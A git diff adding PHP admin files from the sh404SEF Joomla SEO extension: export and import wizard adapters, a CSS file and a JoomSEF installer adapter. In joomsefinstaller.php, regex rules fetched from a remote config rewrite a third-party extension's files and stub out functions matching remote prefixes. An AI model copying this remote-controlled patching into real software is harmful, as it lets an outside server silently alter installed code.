$properties['_defaultController'] = 'wizard'; + $properties['_defaultTask'] = ''; + $properties['_defaultModel'] = ''; + $properties['_defaultView'] = 'wizard'; + $properties['_defaultLayout'] = 'default'; + + $properties['_returnController'] = 'urls'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'urls'; + $properties['_returnLayout'] = 'default'; + $properties['_pageTitle'] = JText::_('COM_SH404SEF_EXPORTING_TITLE'); + + return $properties; + + } + + /** + * First step, by default a message + * and a Terminate button + * + */ + public function doStart() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ('next', 'cancel'); + + // A customiser : + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + $result['mainText'] = JText::_('COM_SH404SEF_EXPORT_URLS_START'); + + return $result; + + } + + /** + * Second step, export data + * + */ + public function doExport() { + + // which button should be displayed ? + $this->_visibleButtonsList = array (); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + // exporting a limited set of pageids at a time + $nextStart = JRequest::getInt( 'nextstart', 0); + + // are we adding to an existing data file ? + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // calculate number of items to export + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'urls.default'); + $options = (object) array('layout' => 'export', 'getMetaData' => true, 'simpleUrlList' => true); + $this->_total = $model->getTotal( $options); + + // do we have anything to export ? + if (empty( $this->_total)) { + $result['mainText'] = JText::_('COM_SH404SEF_NOTHING_TO_EXPORT'); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => -2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + return $result; + } + + // get new start item + if (empty( $nextStart)) { + // this is first pass, starting from 0 + $start = 0; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + if ($nextStart >= $this->_total) { + // reached the end + $nextStart = $this->_total; + } + } else { + $start = $nextStart; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + } + + // are we done ? if so, move to next step + $result['hiddenText'] = ''; + + if ($start >= $this->_total) { + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_DONE', $this->_total); + $result['mainText'] .= $this->_getTerminateOptions(); + + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => 2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + } else { + + // actually export items + $this->_export( $start); + + // continuing for another round + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_EXPORTING', $start + 1, $this->_total); + $result['hiddenText'] = ''; + $result['nextStart'] = $nextStart; + } + + $result['continue'] = array( 'task' => 'next', 'nextstart' => $nextStart, 'filename' => base64_encode($this->_filename)); + $result['continue'] = array_merge( $result['continue'], $this->_steps); + $result['hiddenText'] .= ''; + + return $result; + + } + + /** + * Last step, send results as download + * + */ + public function doDownload() { + + + // fake content + $data = ''; + + // get the current filename with path + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // get a more readable filename + $displayName = date('Y-m-d') . '_' . $this->_context . '_export.txt'; + + Sh404sefHelperFiles::triggerDownload( $this->_filename, $displayName); + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doTerminate() { + + // are we set to purge temporary files ? + $purgeTempFiles = JRequest::getInt( 'purge_temp_files', 0); + if (!empty($purgeTempFiles)) { + Sh404sefHelperFiles::purgeTempFiles( 'sh404sef_export_' . $this->_context); + } + + // now go back to main page + $result = array( 'redirectTo' => true); + + return $result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doCancel() { + + $result = array(); + $result['redirectTo'] = true; + $result['redirectOptions'] = array( 'sh404sefMsg' => 'COM_SH404SEF_WIZARD_CANCELLED'); + + return $result; + + } + + protected function _export( $start) { + + // do we have a valid filename + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // put some data in the file + $end = $start + self::MAX_PAGEIDS_PER_STEP + 1; + $end = $end > $this->_total ? $this->_total : $end; + + // fetch pageIds record from model + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'urls.default'); + $options = (object) array('layout' => 'export', 'getMetaData' => true, 'getPageId' => false, 'simpleUrlList' => true); + $records = $model->getList( $options, $returnZeroElement = false, $start, $forcedLimit = self::MAX_PAGEIDS_PER_STEP); + + // do we need a header written to the file, for first record + $header = $start == 0 ? Sh404sefHelperGeneral::getExportHeaders( $this->_context) . "\n" : ''; + + // format them for text file output + $data = ''; + $counter = $start; + $glue = Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter; + if (!empty( $records)) { + foreach( $records as $record) { + $counter++; + $textRecord = $record->oldurl . $glue . $record->newurl + . $glue . $record->cpt + . $glue . $record->rank + . $glue . $record->dateadd + . $glue . Sh404sefHelperFiles::csvQuote( $record->metatitle) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metadesc) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metakey) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metalang) + . $glue . Sh404sefHelperFiles::csvQuote( $record->metarobots) + . $glue . Sh404sefHelperFiles::csvQuote( $record->canonical) + ; + $line = Sh404sefHelperFiles::$stringDelimiter . $counter . $glue . $textRecord . Sh404sefHelperFiles::$stringDelimiter; + $data .= $line . "\n"; + } + } + + // prepare data for storage + if (!empty( $header)) { + // first record written to file, prepend header + $data = $header . $data; + } + + // store in file + $status = Sh404sefHelperFiles::appendToFile( $this->_filename, $data); + + // return any error + return $status; + + } + + protected function _getTerminateOptions() { + + $options = '

'; + $options .= ''; + $options .= JText::_('COM_SH404SEF_PURGE_TEMP_FILES'); + $options .= '
'; + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportview404.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportview404.php new file mode 100644 index 00000000..333d98ef --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/exportview404.php @@ -0,0 +1,315 @@ + array( 'task' => 'doTerminate', 'view' => 'wizard', 'layout' => 'default') + ,-1 => array( 'task' => 'doCancel', 'view' => 'wizard', 'layout' => 'default') + , 0 => array( 'task' => 'doStart', 'view' => 'wizard', 'layout' => 'default') + , 1 => array( 'task' => 'doExport', 'view' => 'wizard', 'layout' => 'default') + , 2 => array( 'task' => 'doDownload', 'view' => 'wizard', 'layout' => 'default') + + ); + + public $_stepsCount = 0; + public $_steps = array( 'next' => 0, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + public $_button = ''; + public $_buttonsList = array ('next', 'previous', 'terminate', 'cancel'); + // visible buttons are displayed as toolbar pressbutton + // buttons not on that list are passed as 'hidden' post data + public $_visibleButtonsList = array ( 'previous', 'next', 'terminate', 'cancel'); + + + protected $_context = 'view404'; + protected $_total = 0; + protected $_parentController = null; + protected $_filename = ''; + + const MAX_PAGEIDS_PER_STEP = 100; + + /** + * Constructor, keep reference to controller + * which called the adapter + * @param unknown_type $parentController + */ + public function __construct( $parentController) { + + $this->_parentController = $parentController; + + } + + /** + * Parameters for current adapter, to be used by parent controller + * + */ + public function setup() { + + $this->_stepsCount = count( $this->_stepsMap); + + // prepare data for controller + $properties = array(); + + $properties['_defaultController'] = 'wizard'; + $properties['_defaultTask'] = ''; + $properties['_defaultModel'] = ''; + $properties['_defaultView'] = 'wizard'; + $properties['_defaultLayout'] = 'default'; + + $properties['_returnController'] = 'urls'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'urls'; + $properties['_returnLayout'] = 'view404'; + $properties['_pageTitle'] = JText::_('COM_SH404SEF_EXPORTING_TITLE'); + + return $properties; + + } + + /** + * First step, by default a message + * and a Terminate button + * + */ + public function doStart() { + + // which button should be displayed ? + $this->_visibleButtonsList = array ('next', 'cancel'); + + // A customiser : + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + $result['mainText'] = JText::_('COM_SH404SEF_EXPORT_VIEW404_START'); + + return $result; + + } + + /** + * Second step, export data + * + */ + public function doExport() { + + // which button should be displayed ? + $this->_visibleButtonsList = array (); + + // next steps definition + $this->_steps = array( 'next' => 1, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + // return results + $result = array(); + + // exporting a limited set of pageids at a time + $nextStart = JRequest::getInt( 'nextstart', 0); + + // are we adding to an existing data file ? + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // calculate number of items to export + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'urls.view404'); + $options = (object) array('layout' => 'view404'); + $this->_total = $model->getTotal( $options); + + // do we have anything to export ? + if (empty( $this->_total)) { + $result['mainText'] = JText::_('COM_SH404SEF_NOTHING_TO_EXPORT'); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => -2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + + return $result; + } + + // get new start item + if (empty( $nextStart)) { + // this is first pass, starting from 0 + $start = 0; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + if ($nextStart >= $this->_total) { + // reached the end + $nextStart = $this->_total; + } + } else { + $start = $nextStart; + $nextStart = $start + self::MAX_PAGEIDS_PER_STEP; + } + + // are we done ? if so, move to next step + $result['hiddenText'] = ''; + + if ($start >= $this->_total) { + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_DONE', $this->_total); + $result['mainText'] .= $this->_getTerminateOptions(); + // which button should be displayed ? + $this->_visibleButtonsList = array ('terminate'); + // next step so to trigger download, as file is ready now + $this->_steps = array( 'next' => 2, 'previous' => 0, 'cancel' => -1, 'terminate' => -2); + } else { + + // actually export items + $this->_export( $start); + + // continuing for another round + $result['mainText'] = JText::sprintf('COM_SH404SEF_EXPORT_EXPORTING', $start + 1, $this->_total); + $result['hiddenText'] = ''; + $result['nextStart'] = $nextStart; + } + + $result['continue'] = array( 'task' => 'next', 'nextstart' => $nextStart, 'filename' => base64_encode($this->_filename)); + $result['continue'] = array_merge( $result['continue'], $this->_steps); + $result['hiddenText'] .= ''; + + return $result; + + } + + /** + * Last step, send results as download + * + */ + public function doDownload() { + + + // fake content + $data = ''; + + // get the current filename with path + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // get a more readable filename + $displayName = date('Y-m-d') . '_' . $this->_context . '_export.txt'; + + Sh404sefHelperFiles::triggerDownload( $this->_filename, $displayName); + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doTerminate() { + + // are we set to purge temporary files ? + $purgeTempFiles = JRequest::getInt( 'purge_temp_files', 0); + if (!empty($purgeTempFiles)) { + Sh404sefHelperFiles::purgeTempFiles( 'sh404sef_export_' . $this->_context); + } + + // now go back to main page + $result = array( 'redirectTo' => true); + + return $result; + + } + + /** + * Close the wizard window and redirect to default page + * + */ + public function doCancel() { + + $result = array(); + $result['redirectTo'] = true; + $result['redirectOptions'] = array( 'sh404sefMsg' => 'COM_SH404SEF_WIZARD_CANCELLED'); + + return $result; + + } + + protected function _export( $start) { + + // do we have a valid filename + $this->_filename = Sh404sefHelperFiles::createFileName( $this->_filename, 'sh404sef_export_' . $this->_context); + + // put some data in the file + $end = $start + self::MAX_PAGEIDS_PER_STEP + 1; + $end = $end > $this->_total ? $this->_total : $end; + + // fetch pageIds record from model + $model = ShlMvcModel_Base::getInstance( 'urls', 'Sh404sefModel'); + $model->setContext( 'urls.view404'); + $options = (object) array('layout' => 'view404'); + $records = $model->getList( $options, $returnZeroElement = false, $start, $forcedLimit = self::MAX_PAGEIDS_PER_STEP); + + // do we need a header written to the file, for first record + $header = $start == 0 ? Sh404sefHelperGeneral::getExportHeaders( $this->_context) . "\n" : ''; + + // format them for text file output + $data = ''; + $counter = $start; + $glue = Sh404sefHelperFiles::$stringDelimiter . Sh404sefHelperFiles::$fieldDelimiter . Sh404sefHelperFiles::$stringDelimiter; + if (!empty( $records)) { + foreach( $records as $record) { + $counter++; + $textRecord = $record->oldurl . $glue . $record->newurl + . $glue . $record->cpt + . $glue . $record->rank + . $glue . $record->dateadd + . $glue . ''//Sh404sefHelperFiles::csvQuote( $record->metatitle) + . $glue . ''//Sh404sefHelperFiles::csvQuote( $record->metadesc) + . $glue . ''//Sh404sefHelperFiles::csvQuote( $record->metakey) + . $glue . ''//Sh404sefHelperFiles::csvQuote( $record->metalang) + . $glue . ''//Sh404sefHelperFiles::csvQuote( $record->metarobots) + . Sh404sefHelperFiles::$stringDelimiter; + $line = Sh404sefHelperFiles::$stringDelimiter . $counter . $glue . $textRecord; + $data .= $line . "\n"; + } + } + + // prepare data for storage + if (!empty( $header)) { + // first record written to file, prepend header + $data = $header . $data; + } + + // store in file + $status = Sh404sefHelperFiles::appendToFile( $this->_filename, $data); + + // return any error + return $status; + + } + + protected function _getTerminateOptions() { + + $options = '

'; + $options .= ''; + $options .= JText::_('COM_SH404SEF_PURGE_TEMP_FILES'); + $options .= '
'; + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importaliases.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importaliases.php new file mode 100644 index 00000000..9751865b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importaliases.php @@ -0,0 +1,96 @@ +_context = 'aliases'; + + // setup a few custom properties + $properties['_returnController'] = 'aliases'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'aliases'; + $properties['_returnLayout'] = 'default'; + + // and return the whole thing + return $properties; + + } + + /** + * Creates a record in the database, based + * on data read from import file + * + * @param array $header an array of fields, as built from the header line + * @param string $line raw record obtained from import file + */ + protected function _createRecord( $header, $line) { + + // extract the record + $line = $this->_lineToArray( $line); + + // get table object to store record + $model = ShlMvcModel_Base::getInstance( 'aliases', 'Sh404sefModel'); + + // bind table to current record + $record = array(); + $record['newurl'] = $line[3]; + if ($record['newurl'] == '__ Homepage __') { + $record['newurl'] = sh404SEF_HOMEPAGE_CODE; + } + $record['alias'] = $line[1]; + $record['type'] = $line[4]; + + + // find if there is already same alias record for this non-sef url. If so + // we want the imported record to overwrite the existing one. + $existingRecords = $model->getByAttr( array( 'newurl' => $record['newurl'], 'alias' => $record['alias'])); + if( !empty( $existingRecords)) { + $existingRecord = $existingRecords[0]; // getByAttr always returns an array + + // use the existing id, this will be enought to override existing record when saving + $record['id'] = $existingRecord->id; + + // ensure consistency : delete the remaining records, though there is no reason + // there can be more than one record with same alias AND same SEF + array_shift( $existingRecords); + if (!empty( $existingRecords)) { + ShlDbHelper::deleteIn( '#__sh404sef_aliases', 'id', $existingRecords, ShlDbHelper::INTEGER); + } + } + + // save record : returns the record id, so failure is when 0 is returned + $saveId = $model->save( $record); + if(empty( $saveId)) { + // rethrow a more appropriate error message + throw new Sh404sefExceptionDefault( JText::sprintf( 'COM_SH404SEF_IMPORT_ERROR_INSERTING_INTO_DB', $line[0])); + } + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importpageids.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importpageids.php new file mode 100644 index 00000000..ab7893f8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importpageids.php @@ -0,0 +1,78 @@ +_context = 'pageids'; + + // setup a few custom properties + $properties['_returnController'] = 'pageids'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'pageids'; + $properties['_returnLayout'] = 'default'; + + // and return the whole thing + return $properties; + + } + + /** + * Creates a record in the database, based + * on data read from import file + * + * @param array $header an array of fields, as built from the header line + * @param string $line raw record obtained from import file + */ + protected function _createRecord( $header, $line) { + + // extract the record + $line = $this->_lineToArray( $line); + + // get table object to store record + jimport( 'joomla.database.table'); + $table = JTable::getInstance( 'pageids', 'Sh404sefTable'); + + // bind table to current record + $record = array(); + $record['newurl'] = $line[3]; + if ($record['newurl'] == '__ Homepage __') { + $record['newurl'] = sh404SEF_HOMEPAGE_CODE; + } + $record['pageid'] = $line[1]; + $record['type'] = $line[4]; + + // save record + if (!$table->save( $record)) { + throw new Sh404sefExceptionDefault( JText::sprintf( 'COM_SH404SEF_IMPORT_ERROR_INSERTING_INTO_DB', $line[0])); + } + + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefmetas.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefmetas.php new file mode 100644 index 00000000..6e3000d5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefmetas.php @@ -0,0 +1,123 @@ +_context = 'sh404sefmetas'; + + // setup a few custom properties + $properties['_returnController'] = 'urls'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'urls'; + $properties['_returnLayout'] = 'default'; + + // and return the whole thing + return $properties; + + } + + /** + * Creates a record in the database, based + * on data read from import file + * + * @param array $header an array of fields, as built from the header line + * @param string $line raw record obtained from import file + */ + protected function _createRecord( $header, $line) { + + // extract the record + $line = $this->_lineToArray( trim( $line)); + + // get table object to store record + $model = ShlMvcModel_Base::getInstance( 'metas', 'Sh404sefModel'); + + // bind table to current record + $record = array(); + $record['newurl'] = $line[1]; + $record['metatitle'] = $line[4]; + $record['metadesc'] = $line[2]; + $record['metakey'] = $line[3]; + $record['metalang'] = $line[5]; + $record['metarobots'] = $line[6]; + + // clean up records + foreach( $record as $key => $value) { + if ($value == ' ') { + $record[$key] = ''; + } + } + + // find if there is already an url record for this non-sef url. If so + // we want the imported record to overwrite the existing one. + // while makinf sure we're doing that with the main url, not one of the duplicates + $existingRecords = $model->getByAttr( array( 'newurl' => $record['newurl'])); + if( !empty( $existingRecords)) { + $existingRecord = $existingRecords[0]; // getByAttr always returns an array + + // use the existing id, this will be enought to override existing record when saving + $record['id'] = $existingRecord->id; + + // ensure consistency : delete the remaining records, though there is no reason + // there can be more than one record with same SEF AND same SEF + array_shift( $existingRecords); + if (!empty( $existingRecords)) { + ShlDbHelper::deleteIn( '#__sh404sef_metas', 'id', $existingRecords, ShlDbHelper::INTEGER); + + } + } else { + $record['id'] = 0; + } + + // save record : returns the record id, so failure is when 0 is returned + $status = $model->save( $record); + if (!$status) { + // rethrow a more appropriate error message + throw new Sh404sefExceptionDefault( JText::sprintf( 'COM_SH404SEF_IMPORT_ERROR_INSERTING_INTO_DB', $line[0])); + } + + } + + /** + * Return html for any option that could + * be presented to the user on the last + * page of the wizard (like clean temp files) + * for instance. This will be displayed just after + * the mainText text, as prepared by the main + * part of this controller + */ + protected function _getTerminateOptions() { + + $options = JText::_( 'COM_SH404SEF_IMPORT_URLS_WARNING'); + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefurls.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefurls.php new file mode 100644 index 00000000..928557a4 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importsh404sefurls.php @@ -0,0 +1,148 @@ +_context = 'sh404sefurls'; + + // setup a few custom properties + $properties['_returnController'] = 'urls'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'urls'; + $properties['_returnLayout'] = 'default'; + + // and return the whole thing + return $properties; + + } + + /** + * Creates a record in the database, based + * on data read from import file + * + * @param array $header an array of fields, as built from the header line + * @param string $line raw record obtained from import file + */ + protected function _createRecord( $header, $line) { + + // extract the record + $line = $this->_lineToArray( trim($line)); + + // get table object to store record + $model = ShlMvcModel_Base::getInstance( 'editurl', 'Sh404sefModel'); + + // bind table to current record + $record = array(); + $record['oldurl'] = $line[3]; + $record['newurl'] = $line[4]; + if ($record['newurl'] == '__ Homepage __') { + $record['newurl'] = sh404SEF_HOMEPAGE_CODE; + } + $record['cpt'] = $line[1]; + $record['rank'] = $line[2]; + $record['dateadd'] = $line[5]; + $record['metatitle'] = ''; + $record['metadesc'] = ''; + $record['metakey'] = ''; + $record['metalang'] = ''; + $record['metarobots'] = ''; + + // find if there is already an url record for this non-sef url. If so + // we want the imported record to overwrite the existing one. + // while makinf sure we're doing that with the main url, not one of the duplicates + $existingRecords = $model->getByAttr( array( 'newurl' => $record['newurl'], 'oldurl' => $record['oldurl'])); + if( !empty( $existingRecords)) { + $existingRecord = $existingRecords[0]; // getByAttr always returns an array + + // use the existing id, this will be enought to override existing record when saving + $record['id'] = $existingRecord->id; + + // ensure consistency : delete the remaining records, though there is no reason + // there can be more than one record with same SEF AND same SEF + array_shift( $existingRecords); + if (!empty( $existingRecords)) { + ShlDbHelper::deleteIn( '#__sh404sef_urls', 'id', $existingRecords, ShlDbHelper::INTEGER); + } + } else { + $record['id'] = 0; + } + + // find if we already have a meta data record for this non-sef url + // as we want to update it if so, instead of creating a new record + $metasModel = ShlMvcModel_Base::getInstance( 'metas', 'Sh404sefModel'); + $existingMetas = $metasModel->getByAttr( array( 'newurl' => $record['newurl'])); + if( !empty( $existingMetas)) { + $existingMeta = $existingMetas[0]; // getByAttr always returns an array + + // use the existing id, this will be enought to override existing record when saving + $record['meta_id'] = $existingMeta->id; + } else { + $record['meta_id'] = 0; + } + + // for aliases, we don't import them here, but we need to create a dummy + // record so as to preserve possible pre-existing aliases for the same non-sef url + $aliasesModel = ShlMvcModel_Base::getInstance( 'editalias', 'Sh404sefModel'); + $existingAliases = $aliasesModel->getByAttr( array( 'newurl' => $record['newurl'])); + $record['shAliasList'] = ''; + if( !empty( $existingAliases)) { + foreach( $existingAliases as $existingAlias) { + // build up a text list, just as if we were to edit aliases + // as this is what the model expect to receive + $record['shAliasList'] .= $existingAlias->alias . "\n"; + } + } + + // save record : returns the record id, so failure is when 0 is returned + $savedId = $model->save( $record, sh404SEF_URLTYPE_AUTO); + if (empty( $savedId)) { + // rethrow a more appropriate error message + throw new Sh404sefExceptionDefault( JText::sprintf( 'COM_SH404SEF_IMPORT_ERROR_INSERTING_INTO_DB', $line[0])); + } + + } + + /** + * Return html for any option that could + * be presented to the user on the last + * page of the wizard (like clean temp files) + * for instance. This will be displayed just after + * the mainText text, as prepared by the main + * part of this controller + */ + protected function _getTerminateOptions() { + + $options = JText::_( 'COM_SH404SEF_IMPORT_URLS_WARNING'); + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importurls.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importurls.php new file mode 100644 index 00000000..8514858f --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/importurls.php @@ -0,0 +1,149 @@ +_context = 'urls'; + + // setup a few custom properties + $properties['_returnController'] = 'urls'; + $properties['_returnTask'] = ''; + $properties['_returnView'] = 'urls'; + $properties['_returnLayout'] = 'default'; + + // and return the whole thing + return $properties; + + } + + /** + * Creates a record in the database, based + * on data read from import file + * + * @param array $header an array of fields, as built from the header line + * @param string $line raw record obtained from import file + */ + protected function _createRecord( $header, $line) { + + // extract the record + $line = $this->_lineToArray( $line); + + // get table object to store record + $model = ShlMvcModel_Base::getInstance( 'editurl', 'Sh404sefModel'); + + // bind table to current record + $record = array(); + $record['oldurl'] = $line[1]; + $record['newurl'] = $line[2]; + if ($record['newurl'] == '__ Homepage __') { + $record['newurl'] = sh404SEF_HOMEPAGE_CODE; + } + $record['cpt'] = $line[3]; + $record['rank'] = $line[4]; + $record['dateadd'] = $line[5]; + $record['metatitle'] = $line[6]; + $record['metadesc'] = $line[7]; + $record['metakey'] = $line[8]; + $record['metalang'] = $line[9]; + $record['metarobots'] = $line[10]; + $record['canonical'] = $line[11]; + + // find if there is already an url record for this non-sef url. If so + // we want the imported record to overwrite the existing one. + // while makinf sure we're doing that with the main url, not one of the duplicates + $existingRecords = $model->getByAttr( array( 'newurl' => $record['newurl'], 'oldurl' => $record['oldurl'])); + if( !empty( $existingRecords)) { + $existingRecord = $existingRecords[0]; // getByAttr always returns an array + + // use the existing id, this will be enought to override existing record when saving + $record['id'] = $existingRecord->id; + + // ensure consistency : delete the remaining records, though there is no reason + // there can be more than one record with same SEF AND same SEF + array_shift( $existingRecords); + if (!empty( $existingRecords)) { + ShlDbHelper::deleteIn( '#__sh404sef_urls', 'id', $existingRecords, ShlDbHelper::INTEGER); + } + } else { + $record['id'] = 0; + } + + // find if we already have a meta data record for this non-sef url + // as we want to update it if so, instead of creating a new record + $metasModel = ShlMvcModel_Base::getInstance( 'metas', 'Sh404sefModel'); + $existingMetas = $metasModel->getByAttr( array( 'newurl' => $record['newurl'])); + if( !empty( $existingMetas)) { + $existingMeta = $existingMetas[0]; // getByAttr always returns an array + + // use the existing id, this will be enought to override existing record when saving + $record['meta_id'] = $existingMeta->id; + } else { + $record['meta_id'] = 0; + } + + // for aliases, we don't import them here, but we need to create a dummy + // record so as to preserve possible pre-existing aliases for the same non-sef url + $aliasesModel = ShlMvcModel_Base::getInstance( 'editalias', 'Sh404sefModel'); + $existingAliases = $aliasesModel->getByAttr( array( 'newurl' => $record['newurl'])); + $record['shAliasList'] = ''; + if( !empty( $existingAliases)) { + foreach( $existingAliases as $existingAlias) { + // build up a text list, just as if we were to edit aliases + // as this is what the model expect to receive + $record['shAliasList'] .= $existingAlias->alias . "\n"; + } + } + + // save record : returns the record id, so failure is when 0 is returned + $savedId = $model->save( $record, sh404SEF_URLTYPE_AUTO); + if (empty( $savedId)) { + // rethrow a more appropriate error message + throw new Sh404sefExceptionDefault( JText::sprintf( 'COM_SH404SEF_IMPORT_ERROR_INSERTING_INTO_DB', $line[0])); + } + + } + + /** + * Return html for any option that could + * be presented to the user on the last + * page of the wizard (like clean temp files) + * for instance. This will be displayed just after + * the mainText text, as prepared by the main + * part of this controller + */ + protected function _getTerminateOptions() { + + $options = JText::_( 'COM_SH404SEF_IMPORT_URLS_WARNING'); + + return $options; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/index.html b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/joomsefinstaller.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/joomsefinstaller.php new file mode 100644 index 00000000..075e072b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/joomsefinstaller.php @@ -0,0 +1,80 @@ +parent->getPath( 'source'); + $path = $source . '/' . $this->_getElement() . '.xml'; + $fileContent = JFile::read( $path); + if(!empty( $fileContent)) { + $fileContent = str_replace( 'type="sef_ext"', 'type="sef_ext" method="upgrade"', $fileContent); + + $defaults = array(); + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig( $forced = false); + $remotes = empty($remoteConfig->config['joomsef_prefixes']) ? array() : $remoteConfig->config['joomsef_prefixes']; + $prefixes = array_unique( array_merge( $defaults, $remotes)); + foreach( $prefixes as $prefix) { + $fileContent = preg_replace( '/function\s*' . preg_quote( $prefix) . '\s*\(\s*\)\s*\{/isU', 'function ' . $prefix . '() { return;', $fileContent); + } + // generic replace + $defaultReplaces = array(); + $remoteReplaces = empty($remoteConfig->config['joomsef_prefixes']) ? array() : $remoteConfig->config['joomsef_prefixes']; + $replaces = array_unique( array_merge( $defaultReplaces, $remoteReplaces)); + foreach( $replaces as $replace) { + $fileContent = preg_replace( '/' . $replace['source'] . '/sU', $replace['target'], $fileContent); + } + + // group="seo" is of no use for us, so leave it behind + $written = JFile::write( $path, $fileContent); + } + + // fix in memory object, by killing it, thus prompting recreation + $manifest = $this->parent->getManifest(); + $manifest = null; + $manifest = $this->parent->getManifest(); + $this->manifest = & $manifest->document; + + } + + /** + * Get unique element id for the plugin + * + */ + protected function _getElement($xml) { + + $element = parent::_getElement( $xml); + + return 'com_' . $element; + + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/admin.sh404sef.php b/deployed/sh404sef/administrator/components/com_sh404sef/admin.sh404sef.php new file mode 100644 index 00000000..f73ff3de --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/admin.sh404sef.php @@ -0,0 +1,23 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_cp.css b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_cp.css new file mode 100644 index 00000000..e84e3429 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/assets/css/j2_cp.css @@ -0,0 +1,329 @@ +/** + * sh404SEF - SEO extension for Joomla! + * + * @author Yannick Gaultier + * @copyright (c) Yannick Gaultier 2014 + * @package sh404SEF + * @license http://www.gnu.org/copyleft/gpl.html GNU/GPL + * @version 4.4.4.1791 + * @date 2014-07-01 + */ +#sbox-btn-close { + display: none; +} + +#sbox-window.sh404sef-popup { + background-color: grey; +} + +#sbox-overlay.sh404sef-popup { + background-color: grey; +} + +.icon-48-sh404sef { + background-image: url(../images/icon-48-sh404sef-logo.png); +} + +.icon-48-save { + background-image: url(../images/icon-48-save.png); +} + +dt#config span { + color: #0B55C4; + font-size: 12px; + font-weight: bold; +} + +dt#management span { + color: #0B55C4; + font-size: 12px; + font-weight: bold; +} + +dt#analytics span { + color: #0B55C4; + font-size: 12px; + 